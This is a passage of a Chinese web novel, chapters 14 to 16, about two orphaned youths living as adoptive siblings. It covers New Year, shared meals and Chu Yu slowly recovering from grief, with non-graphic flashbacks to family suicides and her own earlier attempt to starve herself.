言迹正斟酌怎么开导她,听见她说:“但是我们可以制造全家福呀。”
“嗯?”言迹没跟上她跳跃的话题转变,倒也及时顺着往下说,“要去照相馆拍吗?”
“不用那么麻烦。”初雨找来一张白纸,拿出初中上美术课没用完的水彩笔,递给言迹一支,“我们可以画全家福呀。”
言迹接过水彩笔,受她感染,有些蠢蠢欲动:“怎么画?”
初雨在白纸靠右的地方下笔:“就画我们现在的家呀,你画你,我画我。”
彩墨划过白纸的声响,把言迹的回忆扯退到小学。
他小时候挺喜欢画画,美术本的每一张纸页,都画着一个美丽的女人。
这些出自他笔下的女人,特点鲜明。
长发飘飘,眉目含笑,裙子花样不重复。
“哥哥,你画的这些是谁呀?”年幼的初雨好奇地翻着他的美术本。
他的心头泛酸:“是我画的妈妈,但是我没见过我妈妈,不知道她长什么样,也不知道画的像不像她。”
“肯定很像!因为每张都画的特别漂亮呀。”
随着年龄增加,言迹搁下画笔没再拿起来过。
画再多,也见不了妈妈一面。
眼前白纸上的颜色丰富。
初雨画的她自己,披着长发,穿着她夏天最爱的那条淡蓝色裙子。
言迹画的他,和本人一点不像,眉毛眼睛嘴巴都被他画成单调的线条,像火柴人的升级版。
画纸中央空余一部分位置,显眼又突兀。
“再画点什么补上去呢?”初雨思来想去,摸了支粉色水彩笔,“有了,我要加上你送我的那个兔子玩偶。”
她添完兔子,欣赏整幅画,很满意:“好啦,现在我们也有全家福啦,我们是一家三口。”
“嗯,”言迹侧眸,凝视她眼稍勾起的弧度,“我去找个相框来放全家福。”
玻璃相框里,装着一张用水彩笔画成的照片。
女生笑容灿烂,男生表情冷淡,中间的粉色兔子可爱得和这幅画有些格格不入。
言迹觉得初雨喜欢看书、画画、听歌……都好。
借着陪她享受爱好的时间里,从她脸上多看到一点笑容,是他整个冬天最大的幸福。
新年将至,王阿姨给言迹发了工资,用信封包着现金,递给他:“新年快乐,过了年初五再来上班就行,趁这几天好好玩一玩。”
言迹摸到现金的厚度比平时高出一点,他提醒:“阿姨,您给多了。”
“不多不多,工资加上给你的压岁钱,刚刚好。”王阿姨看着言迹的眉眼,透过他漆黑的眸,仿佛看到好友年轻时的模样。
“谢谢您对我的照顾,新年快乐。”言迹垂眸,眼周轻微泛红。
除夕当天,镇上最大的超市照常营业,其他小商店和小饭馆早已关门回家过年。
“想吃什么菜?你尽管说,哥哥买回来给你做。”言迹拿上钥匙,准备出门采购食材。
初雨想了想:“想涮火锅吃。”
“行。”
言迹挑着新鲜蔬菜,往购物车里放些平时舍不得买的牛羊肉卷和鱼丸、开花肠。
他拿了些速食,以防万一最近发病,初雨就可以吃这些新买的食物。
回到家,他开始洗菜准备煮火锅。
夜
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幕渐渐黑沉时,火锅端上桌,电视机里播放春晚,窗外炸响此起彼伏的鞭炮声。
“小鱼,新年快乐。”言迹拿起他的杯子,轻轻碰了一下初雨的。
他们两个人的杯子里装着热可乐,热气上升,模糊了眼前所见。
初雨给言迹碗里夹肉:“哥哥新年快乐,你多吃点,长胖些,不然风一吹,你被卷跑了,我就没有哥哥了。”
言迹听话地低头吃饭:“好,哥哥会努力多吃的。”
室外飘雪。
吃饱喝足,初雨帮言迹收拾桌面和厨具餐具,春晚还有好些节目没播完。
言迹取出藏在沙发靠垫后的包装纸袋,递给初雨:“给你准备的新衣服,看看喜不喜欢。”
“谢谢哥哥!”她双眼满溢开心,又很快戛然而止,问他,“那你的新衣服呢?”
他当然没给自己买新衣服。
“我的衣服够穿,不用买新的。”言迹温柔浅笑,把他状态最好的一面呈现给初雨。
初雨咬咬唇,手中的纸袋好像变得更重,她和言迹朝夕相处,他有多少衣服,她心如明镜。
等她以后能赚钱了,她要给言迹买好多好多衣服,多到他的衣柜装不下。
他的好,怎么才能还清。
感觉永远无法还清这份没有血缘关系沾带的恩情。
瞧她垂睫咬唇的模样,像是快哭了。
言迹赶忙支开话题:“现在外面只有路灯和月亮,还下雪呢,要不要去楼下堆雪人?”
情急说出口的话,他下一秒就想撤回。
她前段时间说过暂时不想出门,他怎么又提到出门的事,真是的,脑子去哪了。
“好啊,”初雨欣然答应,“很久没堆雪人了,我们去玩吧。”
见她同意,言迹紧绷的情绪缓和:“穿新衣服去吧,我给你找围巾和手套还有帽子,穿厚点,可不能冻感冒了。”
“万一新衣服弄脏了……”她舍不得穿新衣服。
言迹指节弯曲,轻刮过她的鼻尖:“买来就是给你穿的,脏了哥哥再给你洗干净就行。”
新衣服是件鹅黄色的羽绒服,蓬松柔软的手感,只是摸摸就知道不便宜。
从有记忆开始,初雨就在穿姐姐的旧衣服,妈妈总说家里条件不好,要节约开支。
虽然心里不太舒服,她也没闹过脾气,只是盼望着,她能早点拥有属于自己的新衣服。
言迹开始照顾她以后。
给她买属于她的新玩具,给她买属于她的新衣服。
她曾经在意的、难受的缺憾和渴望,他一点点为她弥补填充。
包括现在,他为她寻找保暖织物,忙碌焦急的模样,让她真切感受到这个世界上,有一个人,特别在乎她。
言迹找来围巾手套帽子,初雨自己戴上帽子和手套,围巾被言迹拿在手里,给她裹上好几圈。
他像妈妈一样,温柔又有耐心,仔仔细细给她戴好围巾:“好了,我们可以出发去堆雪人了。”
“会不会太厚,看起来很笨重吧?”初雨有些担忧地说,“等会儿摔雪地里怎么办?”
“穿厚点才保暖,担心摔倒的话……”言迹朝她伸出指节修长的宽大手掌,“要牵手吗?”
14. 第十四夜
这一声询问,不含世俗男女之间的情愫。
仅仅怕初雨摔倒,给她提供支撑点而已。
“要。”初雨握住言迹的手,他们微凉的掌心相触。
言迹想起还有什么事没做,又放开她的手:“等下,我取个东西。”
他取来几片暖身贴,撕开包装给初雨:“你贴衣服里,外面冷,做好保暖。”
初雨接过:“那你呢?”
“我不冷。”
像小时候一样,他们手牵手下楼玩雪。
漆黑天穹迎接升空的烟花和下坠的雪花,地面积雪早已被人踩得泥泞肮脏,看来堆不成雪人了。
初雨伸出另一只手,指尖向上,感受雪花降落指腹再消融。
冷空气无孔不入,她说话间的白雾缭绕:“再下几场雪,冬天就结束了。”
言迹不动声色地放开牵着她的那只手:“嗯,过了正月十五,气温就慢慢回升了。”
她把两只手并在一起搓搓,以摩擦生热的原理增加点温度。
这片老旧居民楼的其他住户家里灯火通明,阳台悬挂的红灯笼带有浓浓年味,她却没有过年的实感。
“要玩仙女棒吗?”言迹提前藏了盒仙女棒,这会儿掏出来晃晃,“这一盒都是你的,玩够了我们就上楼回家。”
她的鼻尖冻得泛红:“我们一起玩。”
言迹拆开包装盒,取出一根仙女棒,用打火机点燃:“行,听你的。”
打火机窜升的火苗舔舐仙女棒,小小火花像一场触手可及的流星雨,尽情舞动绚烂。
他的白皙指节被冷风扑红,修长手指捏着仙女棒递给初雨:“去玩吧。”
初雨拿过燃烧的仙女棒,眨眨眼:“哥哥,你像打火机。”
被她毫无预兆的话勾起好奇心,言迹锋利的眼角被温润笑意模糊了弧度:“哪里像?”
“你和打火机的外观,看起来都是冰冷又坚硬的。”
她转动手中的仙女棒,瞳色底部映出亮光,“但是呢,你们的内心并不冷,都像火焰一样,很温暖。”
外冷内热,确实是言迹的性格特色。
打火机温暖拥有它的人,言迹只温暖初雨。
他凝神望向玩仙女棒的初雨,火光描摹少女侧脸,她专注的目光随仙女棒挪动,余光似有所察,转过来和他对视。
冷冬凛冽,他们相撞的眼神炽热。
热意蔓延进身体,周遭温度仿佛置身春天,忘记了冰霜寒气。
“初雨。”言迹温声喊她全名,话中藏匿柔情万千。
她应声:“嗯?”
“新年快乐,希望你往后每天,每月,每年都快乐开心。”
她趁氛围合适,开玩笑般说出真心话:“只要哥哥陪在我身边,我就会快乐开心。”
孩子气十足的话,言迹听了付之一笑:“小鱼这么好说话啊,只要我在你身边就行?”
好说话吗?
她认为这要求挺无理,禁锢他的自由,换取她的快乐开心,他还觉得好说话?
估计他没当真。
她装出随意敷衍的语调:“对啊。”
“我知道了,我会一直陪着你的。”言迹不假思索,给出承诺。
她的心尖轻颤,睫毛抖动:“你以后谈了女朋友,就不能陪着我了。”
言迹说得轻松:“简单,我不谈就好了。”
他这对外人冷冰冰的性格,谁会喜欢他啊。
首要条件都不成立,怎么会谈女朋友呢,简直天方夜谭。
目前和初雨两个人的生活就很好,他贪恋这种稳定的幸福,不想被他人介入打破这种平衡。
虽然不清楚这样的日子会在哪一天结束,但在结束之前,他会珍惜每一个和她共度的瞬间。
得到言迹的许诺,初雨心底偷偷放起专属她一个人的烟花。
说不清缘由的开心,到底是希望他以家人的身份长久陪伴身边,还是单纯对他依赖成性,再不想和他分离?
又或者,心里对他萌生了跨越过“兄妹”关系的感情?
朦胧月光和她的心事一样不明朗。
远近相邻的烟花炸开斑斓色彩,人造景色弥漫浓烈化学味道,浓郁到寒冬的晚风冲不开呛鼻气息。
分享整盒仙女棒的过程,让她想起许多过去和言迹共度的时光。
学前,她在言迹家里和他吃西瓜,吹着电风扇看动画片,停电以后,风扇和电视机罢工,他们趴在窗边吹风纳凉,仰脸欣赏漫天星光。
小学,她和言迹在秋天的午后一同去上课,他们途径一条种着枫树的街道,鞋底踩到枯黄的枫叶,酥脆的叶片接连碎掉,响声怎么都听不够。
初中,她去书店看漫画,店外下起经久不息的倾盆大雨,她又没带伞,大人和姐姐不在家,她发愁该怎么回家,在二楼买完资料书的言迹,脱下他的校服外套,罩在他们的头顶,一路往家跑去。
他存在于她人生的每一个关键性阶段,并且都留下了无法轻易忘记的特殊回忆。
比起“青梅竹马”,她确实更喜欢“家人”的身份。
青梅竹马或许会分离,但家人永远是家人。
睡前,言迹递给初雨一个红包:“给小鱼的压岁钱。”
她不接,双手背后:“不要,我知道你平时赚钱很辛苦,留着你自己花吧,我这里还有姐姐以前留给我的零花钱,够用。”
“初雪姐姐给你的钱,和我给你的压岁钱,能一样吗?”
言迹想法设法劝说她收下,“哥哥给妹妹压岁钱不是很正常吗?还是说你并不接受我这个哥哥?”
她听言迹越说越严重,慌忙伸手接住:“哪有不接受!谢谢哥哥。”
“这就对了,早点休息,晚安。”言迹抬手摸了摸她蓬松的发顶,眼里毫不遮掩对她的宠溺。
言迹准备的红包,不止初雨这一份。
还有他去王阿姨家拜年,要给王阿姨几个孩子的红包,他是知恩图报的人,在这方面并不吝啬,如果没有王阿姨的帮助,他的生活肯定过得比现在艰难很多。
拜完年,他手里提着两大袋王阿姨给的零食和饮料。
王阿姨说,这些是清理仓库整理出来的临期零食,距离过期还有些日子,摆到店里去卖绝对不敌日期新鲜的货品卖的快,索性留下来给晚辈当成过年期间的零嘴,也省的再去大超市买。
家里孩子吃不完,分给言迹一些,他带回来和初雨一起分享。
“小鱼,你有想看的电影或者电视剧吗?我回来的路上看见有影音店开门,可以去租点碟片回来消遣时间。”
言迹在卧室门外询问初雨的意见,她昨晚熬夜看漫画,睡得太迟,现在还躲在被窝里补觉。
她打了个哈欠:“哥哥租什么我就看什么。”
“那想吃什么?我买菜回来做饭。”
她蜷缩在被窝里掰着手指数日子。
再过几天,言迹要回王阿姨店里兼职,元宵节之后,他恢复读书生活,陪她的时间大幅缩减。
这么一想,她没了胃口,也不想折腾言迹去做麻烦的饭菜,说了最省时间的填肚子食物:“想吃方便面,要最经典的红烧牛肉味。”
言迹被她逗笑:“哪有正月吃泡面的?想点正经的饭菜。”
她哼唧着撒娇:“都好久没吃了,泡面多美味啊,软乎乎热乎乎的,汤也好喝,就吃泡面嘛。”
同龄人生活在一起的好处是——
没长辈之间那么多讲究,不触及原则的事情,都可以放手去做。
拗不过她,言迹同意:“行,那我现在出门去准备,你再睡会儿,等开饭了我叫你起床。”
“哥哥真好!
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”她的唇畔洋溢浅笑。
久违的幸福感萦绕她的心尖。
浑身上下的血液都被温暖到沸腾起来,燃烧着越来越充足的活力,这样能熬夜看书再赖床晚起的生活,对她来说就很满足。
她不会忘记,因为有言迹照顾她,她才能紧紧抓住这份安稳的生活,因为他的存在,对生活重新抱有美好的希望。
言迹买完初雨指定的红烧牛肉面,径直走向影音店。
他浏览碟片包装上的封面,挑得眼花缭乱,最后随手拿了几盒碟片去找老板问要付多少租金。
对于他来说,看什么内容的碟片不重要。
重要的是,陪他一起看碟片的人是谁,能和身边人在一生的时间长河里,共享一段相同的时光,是很珍贵的体验和回忆。
回家的路上,言迹看到其他出来玩的少男少女。
他们的年龄和他相仿,身上穿着崭新的衣服,兜里揣着充足的零花钱和压岁钱。
有那么一瞬间,言迹非常羡慕他们,羡慕他们有完整的家庭,有爱他们的父母,有不用担心温饱问题的生活环境。
言迹身上穿着旧衣服,心里想的却是还好给初雨买了新衣服。
他在初雨身上,窥见曾经那个失去所有家人,无依无靠,对未来充满畏惧和迷茫的,他的影子。
这几个月以来,他照顾的不止是初雨,同时给予慰藉的还有他心底那个,过去的可怜的自己。
相同境地摆在眼前,他不想让初雨经历他体会过的艰难苦涩,甘愿主动担起哥哥的身份,为她撑起一个可以遮风避雨的家。
回到家,言迹烧水煮方便面,给锅里放了些除夕夜没吃完的肉丸和蔬菜,尽可能让这顿饭丰盛一些。
他给初雨碗底放上几乎全部的肉丸,还给她打了个荷包蛋,方便面盖最上层,喊她过来吃饭:“小鱼,开饭了。”
初雨洗漱完,看到碗里的方便面,香气勾起馋虫,她竖起大拇指:“哥哥好厉害,方便面都能做得这么香。”
她和言迹碗里的面看起来一模一样,面上盖有绿叶蔬菜,但只要搅动碗底,就能发现完全不同。
她的碗底有肉有蛋,言迹的碗底只有汤。
言迹当然清楚她的性格,要是她一开始就知道她的面更丰盛,她肯定要说哥哥平时兼职养家,应该吃更好的那碗面。
猜到这点,言迹才把好的东西放到碗底,吃到最后等她发现,已经调换不了了。
她吃饭速度比较慢,专心吃着自己碗里的面,没去关注言迹三两口解决完的他那碗面。
这样就对了,他费劲小心地努力生活,就是为了不让她见识到生活艰辛的一面,为她守护着一个童真尚未褪去的,残缺不全的美梦,让她能多快乐一天是一天。
收拾完锅碗,言迹用热牛奶兑可可粉,给初雨冲了杯浓郁的热可可。
他拿出租来的一张碟片,看了眼名字,片名叫《美国往事》,没看过这部电影,对剧情不抱有特别大的期待。
碟片机吞进光盘,电视屏幕缓缓呈现影片内容。
言迹和初雨坐在沙发上,盖同一条毯子,全神贯注看电影。
初雨时不时抿一口热可可,这样的时刻过于幸福,她想多延长一些时间,就像慢一点喝热可可,不会那么快喝完。
茶几上摆着言迹带回来的零食,他拆开薯片给初雨:“没有爆米花,用薯片代替吧。”
她笑眼弯弯,接过:“我最爱薯片了。”
电影进行到某个情节,角色的一句话,字字深刻映进言迹眼中——
当我对所有的事情都厌倦的时候,我就会想到你,想到你在世界的某个地方生活着,存在着,我就愿意忍受一切,你的存在对我很重要。
言迹的喉结滚动,他侧眸望向初雨:“小鱼,刚才那句台词,是我想对你说的话。”
15. 第十五夜
初雨怔住,回想那句台词。
她心里情绪翻涌,眼尾泛红,他们对于彼此来说,都是很重要的人,谁离开谁都不会生活得好。
“你让我体会到,有哥哥是多么幸福的事。“她吸吸鼻子,垂眸。
如果没有言迹照顾她,那今时今日的她,还存在于这个世界上吗?
言迹抬手,揉揉她蓬松的发顶:“有妹妹才是最幸福的事。”
下班回来给他说辛苦了,晚上睡前和他互道晚安,有趣的事情一起分享,困难的挑战一起面对。
生活太苦了,还好有人陪着分担,才能装作毫不在乎的继续撑下去。
寒假结束,初春季节多雨,气温回暖。
言迹恢复平时读书,周末兼职的忙碌生活。
初雨窝在家里,规律雨声成了最好的助眠曲。
好几次,言迹带着给她的夜宵回家,发现她不是捧着漫画书躺倒在沙发上睡得香甜,就是躲在卧室被窝里哼哼唧唧说着梦话。
冷冬的寒气不复存在,气候逐渐宜人。
她睡得香是好事,言迹轻手轻脚关上卧室的门,回到客厅茶几前,打开台灯拿出复习资料,熬夜备战高考。
这段时间,初雨听着雨声,不知不觉睡着的次数增多。
可能因为她名字里带着“雨”,所以并不反感雨天,但是当她看见回到家里的言迹,他的肩头和裤脚有被雨水打湿的痕迹,突然就萌生讨厌雨天的情绪。
他淋了雨,要是感冒的话,得多难受啊。
“我回来了。”言迹卸下书包,打包回来的夜宵递给初雨,“买了你最爱的双椒鸡捞面,趁热吃。”
初雨接过夜宵放在茶几上:“哥哥,你感冒了吗?听你的声音不对劲。”
言迹的声音比往常沙哑,颗粒感十足,还藏匿着几分疲惫的倦怠,鼻音稍重。
他取出书本:“好像是有点。”
初雨找出茶几抽屉里放着的感冒药:“吃点感冒药,睡一觉,明早就会好了。”
“行,听你的。”
她吃完面,回了房间。
言迹复习完,吃掉感冒药,躺进沙发休息。
窗外的雨,淅淅沥沥下一整夜。
翌日清晨,雨声仍然持续着。
言迹给初雨做好早饭午饭,把蒸好的米饭给他自己的饭盒里装一些,放上长期吃的榨菜和腐乳当配菜。
“哥哥,你要上学去了吗?”初雨的声音在他身后响起。
他整个人的身体一僵,赶忙拿过饭盒盖子扣住:“嗯,现在要出门了。”
察觉到他的反常,初雨走进厨房,一眼看见言迹的手背用力盖着饭盒,好像在刻意掩藏什么。
如果是普通的饭,听到她过来的脚步声,会有这么大的反应吗?
厨房内的光线昏暗,即使如此,她还是能看清,言迹不愿和她对视的目光。
他的饭盒里一定有秘密。
没时间给她周旋,心下发狠,她不管不顾地抬手摁亮开关,白炽灯的明亮瞬间填满窄小的厨房空间。
言迹眼里升起不可思议和震惊,他的话音迟疑:“小鱼,你什么时候……”
什么时候能见这么明亮的光线了?
很显然,他的注意力都被吸引到初雨能接受白炽灯的亮光这里,忽略了手里还藏着秘密的事。
剩下几个字还没说出,手中物体被抽走。
他再想去抢回,已经来不及。
饭盒盖被初雨打开。
她看到饭盒里简单的内容物,喉咙哽咽,说不出话。
言迹更不知道该说什么,只是双手背到身后,紧张的心跳声声加快。
她的嗓子好像被胶水粘住一般,难以出声。
白炽灯的亮度太高,她的眼睛尚未完全适应,有些难受。
一滴眼泪掉落,她艰难开口:“你每天的午饭?都是这么应付的吗?”
“小鱼,我……”言迹紧急想借口解释,却发现怎么说都很无力苍白。
“是谁和我说,不管发生什么事,都要好好吃饭?”她眼里的泪珠滚烫,顺着脸颊滑落,泣不成声。
言迹低头,不说话。
她放下饭盒,扑进言迹怀里,闷声大哭:“你明明知道,我只有你了,为什么不好好对待自己?你让我好好吃饭,那你呢?你一直对我这么好,什么都想着我,那你呢?我不要你牺牲很多来对我好,我不要你委屈自己。”
她一辈子都忘记不了今天发现言迹饭盒里隐瞒的事实,这种具有强烈冲击感的体验,像刺进心中的刺青,永远无法磨灭。
那对于言迹来说,一辈子无法忘记的那天,就是他从学校回来,听闻邻居传初雨的姐姐去世,家里就剩她一个人生活的传言。
这么大的事,他竟然是最后一个知道的。
打电话给初雨,她不接。
发消息给她,也不回。
言迹拍门,没人来开。
他实在担心初雨出事,找来开锁师傅打开初雨家的门锁。
房门打开,言迹冲进客厅。
初雨身穿白色连衣裙,仰面躺在翘边的木地板上,窗帘被风拂动,光照不进她晦暗的眼底,她的气息微弱,面容枯黄,眼角的泪痕干涸。
言迹把她从地上扶起,搂她进温热的怀里,吓得他的手都在抖:“你吓坏我了,电话不接消息不回,我还以为你怎么了。”
她没力气说话,声音都快发不出来:“别管我。”
已经对这个世界彻底绝望的人,为什么还要接电话回消息呢,完全没必要。
“我不管你谁管你?”言迹把她抱到沙发上躺着,去给她倒了杯温水,扶着她喂她一口一口喝。
太久没喝水,她被呛到,连咳嗽都没力气。
从姐姐出事后,她到今天没吃没喝,就等着生命体征渐渐消失,等她从这个世界上悄无声息的离开。
言迹给她拍拍后背,心疼她这副憔悴的濒临自绝模样:“你多少天没吃饭了?不管发生什么事,都要好好吃饭,有力气才能继续生活下去啊。”
她的眼中铺满绝望,吐字艰难:“我不想生活了,只有不吃不喝,昏昏沉沉的时候,才没力气去想妈妈和姐姐,我要去找她们。”
人在极度饥饿和口渴的情况下,求生本能只会指使大脑去想该怎么进食喝水,无暇顾及其他。
她和本能对抗,躺在地上,体验濒临自绝的危险,生活无望,她找不到继续生活下去的理由。
就在她以为,她的人生迎来最后一天的时刻。
言迹闯进她的眼帘,进入她的生活,带给她新的希望。
那天晚上,言迹给她买了饭,见天色昏暗,他随手打开灯。
光源亮起的那秒,所有不好的回忆一齐涌上初雨眼前,妈妈割腕的惊心触目,和姐姐坠楼的血色纷飞,无数碎片割据着她的呼吸。
重要至亲离开她的时候,事发现场光线刺眼,两次同类型的重大打击,让她万分畏光。
她崩溃着大口呼吸,往黑暗处躲去,大哭大叫:“不要开灯!别开灯!我讨厌有光的地方!”
言迹赶忙关掉灯,从那往后他再没在初雨的视线范围内主动开过灯。
他忘不了初雨这天的可怜模样,也是这天,她把自己家里的钥匙交给言迹:“反正我不出门,钥匙交给你保管吧。”
亲口给他说,不管发生什么事,都要好好吃饭的人,却用敷衍潦草的方式对待自己。
这个世界,好像在给她说一个巨大的谎言,让她好好生活,却不断给她施加打击。
她抓住言迹后背的衣服布料,像是抓住唯一的救命稻草,捏在手心狠攥,眼泪洇湿他胸前的衣料。
言迹缓缓伸手,轻拍她的后背安抚:“这不是……榨菜和腐乳比较方便吗?我也没有经常吃,别哭了。”
担心强光加重她的呼吸不适,言迹另一只手关掉灯,轻声哄着:“小鱼,哥哥要迟到了。”
初雨离开他的怀抱,泪眼朦胧地往卧室去:“你等等我。”
她从枕头下找出一堆零散的现金,凑出二十多块钱,拿出去全部塞给言迹:“哥哥,这些给你,你中午买着吃顿好点的饭,算我请你的。”
“小鱼……”他没料到初雨会这么做。
“好啦,不是说要迟到了吗,你快去上课吧。”她推着言迹往外走,把书包给他拿上,送他出门。
“小鱼,你中午……”不等言迹说完话,她就关上了门。
多一秒都撑不下去了。
她捂住口鼻掩声哭泣,滚烫的泪珠在她心上灼烧出鲜明印记,她永远无法忘记言迹为了放弃了多少,牺牲了多少。
平淡生活的每一个角落,都有他精心料理的痕迹。
眼泪解决不了问题。
初雨用哭泣发泄完情绪以后,决定每天早起,由她来准备并监督言迹的午饭情况,不允许他继续用应付的态度对待午餐。
决心下定,她隔天早起,洗漱以后进厨房,卷起袖子开始预备做饭。
不算很熟悉,好在她说完想法以后,言迹在旁边辅助指导她,做饭的过程也还算顺利。
淘米洗菜的过程,她身临其境体会到,言迹之前早起给她准备两顿饭,还要赶在迟到之前出门上学的紧迫感。
是什么支撑言迹毫无怨言照顾她这么久?
这个答案,她始终想不明白。
只觉得他像家人一样,不求回报的耐心陪伴她病情逐渐好转,这个持续性的行为,非常伟大。
伟大到足够她短暂忘记生活中其他方面的痛苦。
做了几天的饭,言迹没有一天不夸她做的好吃。
真诚的夸赞给了她继续做下去的信心,她开始看电视里面教做饭的节目,准备了笔和记事本,听到关键的步骤,她会提笔记下来,之后试上几次,就能做得色香味俱全。
即使学做饭学得这么好,面对言迹捂住绞痛胃部的动作,她还是首先反思自己做的饭出了问题。
她紧张地咬咬嘴唇,今天做的红烧茄子盖浇饭,茄子没熟么?
可是同样的饭,她中午也吃了呀,尝起来没有怪异的口感。
言迹的面色像纸一样苍白,眉头微蹙,疼得呼吸都牵动着神经。
初雨起身,拿上零钱去门口换鞋:“我出门给你买药,很快回来。”
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“小鱼别去,这附近新开了几家烧烤店,晚上有喝酒吃烧烤的混混,你去不安全。”
他说话急促,顾不得疼痛,吸着冷气把话说完,“我没事,不要紧。”
因为畏光,很长时间不开灯不出门。
因为外面的世界有潜在危险,那要再也不踏足半步吗?
要眼睁睁看着他难受,也无动于衷吗?
初雨想明白这几个问题,更加坚定去买药的打算。
她深呼吸一口气,开门往外跑去。
这是从她处理完姐姐的丧事后,时隔半年,第一次出门。
外面的世界和以前大差不差,她的心跳加速,不清楚是跑得太快,还是被他人的眼光看得不太舒服。
她在药店买了胃药和止痛药,加快脚步去旁边粥店买了份打包带走的小米粥,这个养胃,言迹吃完应该能缓解些。
春季晚风拂面,她很久没出门,呼吸到新鲜的空气,看到街边亮起的霓虹灯箱,有种恍如隔世的错觉。
难受吗?
有一点呼吸急促,还有些腿脚发软,但是一想到言迹还在难受,她就顾不上自身的情况了。
平时的她比较柔弱,一旦她珍视的人受到威胁,那她不管如何都会挺身而出,去保护她在乎的人。
就像她小时候,妈妈被爸爸家暴,她的小小身躯护住妈妈,任由冰凉的皮带抽在她的脊背上,毫不躲避。
也像她休学前,姐姐遇到了危险,她拿着防身的攻击工具,去天台上帮姐姐赶跑那些坏人,虽然事与愿违,但至少她没退缩。
她就剩下言迹这么一个家人。
要好好守护他,把他安然无恙的留在身边。
经过言迹所说的,附近新开的烧烤店。
穿着打扮浮夸的青年,三两成群聚在一起,手臂上纹有彩色图案,他们的嘴里笑骂脏话,有男生对她吹口哨。
真令人反感。
她对那些人视若无睹,裹紧身上的外套往楼下跑去。
从危险的区域逃离,她气喘吁吁提着药和粥上楼,想起言迹之前带兔子玩偶回来的那个晚上。
当时的他,估计和现在的她一样,有相同牵挂对方的情绪在内心越烧越旺吧?
言迹在家里,捂着疼痛的胃部,为她担心。
从她说要出门给他买药开始,他的一颗心就悬上半空,轻易被她的一举一动影响情绪起伏以及心理状态。
分分秒秒时时刻刻,都受她影响,太过于在意她,把她看得比自己重要许多。
她没出门前,希望她克服畏光,早点出门。
她做到了,又怕她受到外界的伤害。
要是她遭遇到了意外,那他怎么办……
要是纠缠过初雪的那些混蛋,又伺机纠缠初雨,那又该怎么办……
越想越后怕,言迹忍痛站起,要出去找初雨。
就在他站直身体的那秒,房门打开。
初雨提着东西走进来,放下药和粥:“哥哥等久了吧?我买了小米粥给你,你吃了暖暖胃。”
她用言迹的水杯装了些温水:“药店的阿姨说,吃一颗胃药就行,再疼的话,睡前吃止痛药,没缓解就要赶快去医院,今天晚上我陪着你,要是更不舒服了,我和你一起去医院。”
他捧着水杯,吃下一粒胃痛胶囊,重点全部偏移到她身上:“小鱼,你能出门了?”
“不算吧……刚才看你难受,家里又没有胃药,我只能赶快出去买,而且这是晚上,光照不强,要是白天,估计我还是出不了门。”
对于言迹的担心,使她不得不直面恐惧。
冲破重重阻碍后,她发现做起来远没有想象中那么困难,是她一直在给自己设限,迟迟不肯迈步前行。
掰碎“不肯”,有不愿面对现实,和不舍从言迹身边离开,这两种情绪编织着的小心思,禁锢她的行动。
“也对。”
言迹放下水杯,“小鱼太厉害了,能直接出去买药,是我太心急,慢慢来吧,等你能出门后,我们再说看医生的事。”
毕竟这是她家里出事后,第一次出门,不能操之过急。
“嗯,我都听哥哥的。”
她找来冬天用过的热水袋,给言迹:“哥哥,拿热水袋敷一下胃,看看会不会好点?”
“小鱼越来越会照顾人了,好贴心。”言迹接过热水袋放在胃部,他的脸色有所缓和,“我好多了。”
被人悉心照料的感觉,太好了。
不知不觉贪恋上这种觉知,难以戒除。
言迹勾唇轻笑:“看来之前求的平安祛病符确实有用,我有空再去庙里烧香,求佛祖保佑小鱼快点好起来,再也不受病痛之苦。”
他从前不信神佛不惮命运,现在也开始相信举头三尺有神明,更加认真对待生活,拿神明当逆境中好转的精神寄托,
她出声提醒:“既然这么有用,你更应该给自己多花点心思。”
常去寺庙,怎么都该求一点和他自身相关的愿望啊。
可他还是那一套说辞:“不用,小鱼好好的就行,我的病有自愈可能,说不定都痊愈了,就不麻烦佛祖了。”
16. 第十六夜
初雨是全世界最期待言迹痊愈的人。
要真的痊愈,那该多好。
距离上次发病有好几个月的间隔了,他们都以为言迹的病好转了。
结果现实狠狠抽了他们一巴掌,教训不该庆幸的太早。
三月中旬,言迹去寺庙烧香拜佛,回来的当天晚上就陷入昏睡状态。
初雨找来记事本,记下今天的日期,这是他们同住之后,言迹第三次发病。
这次发病的时间比较长,持续了两个礼拜。
期间,言迹浑浑噩噩醒来找吃的,像梦游的人,步履缓慢,双目无神。
初雨和他说话,他也听不到。
他吃了片面包,喝两口水,继续躺回沙发沉睡。
黄昏光线正好,初雨拉开厚重的遮光窗帘,斜阳歪进室内地板,她拿着本漫画书趴在干净地板上浏览,就陪在言迹身边。
她的耳朵上戴着有线耳机,播放手机里听了很多遍的歌曲。
趴得胳膊酸痛,她起来揉揉手臂,换了本名著小说接着看,小说里描写男女主角一起去海边等日出,天亮之后,他们将分居两岸生活,共同度过的最后一个夜晚,对他们来说太过短暂。
书页停留这一篇,描绘的海边等日出,只是想想都觉得很唯美浪漫。
她和言迹生活在大城市的小镇边缘,距离海边有一个多小时的车程,她小时候跟着大人去海边玩,结果她对海水过敏,一碰海水,浑身上下都痒的不行。
如果停留在沙滩上,不和海水接触,就不会过敏。
言迹经常通宵等日出,他应该很喜欢看太阳升起吧?
有机会的话,想和他像书中说的那样,去海边等一场日出,他看日出,她再多看看他的侧脸,免得以后分开了,会很久见不到他。
耳朵隐隐发痛,她摘下耳机。
寂静室内,言迹的均匀规律呼吸声格外让她安心,听着这样浅淡的鼻息,像是按下了延长时间停留的密码。
世界好安静,心里好舍不得他。
和他共同生活的时间越久,就越害怕分离。
他们的结局,从认识那天开始,就按下了倒计时。
她回到房间,心口闷堵着混沌的凌乱情绪,到天亮才睡着。
再睁眼,听到厨房传来声响。
她起床去厨房确认:“哥哥?”
言迹转身,轻笑:“醒了?洗漱一下准备吃饭,给你做了青椒炒肉和麻辣豆腐,特别下饭。”
厨房里光线昏暗,不知道他是怎么切菜炒菜的。
“为什么不开灯?”她摁亮开关,亮光洒下。
言迹微微怔愣一瞬:“哦,我忘记你能见灯光了,习惯了不开灯的生活,现在有点改不过来。”
时间久了,他们都按照对方的习性在调整自己的生活习惯。
他熟练做饭的样子,好像从来不曾沉睡过,从来没有困扰他的疾病打扰他。
她感觉自己真的好奇怪,为什么外在感受到的幸福越多,内心反而越难过呢?
因为知道这样的幸福不会永远存在?还是因为太过贪婪,觉得目前的现状已经不能满足她的渴望?
不对,都不对。
怪异的感觉,她找不到语言来准确形容,只是隐隐感受到,他总有一天会彻底离开她,当下的感觉,恰如从未来回到了现在,看他的每一眼,都带着满满不舍和留恋。
“怎么一直盯着我看?”
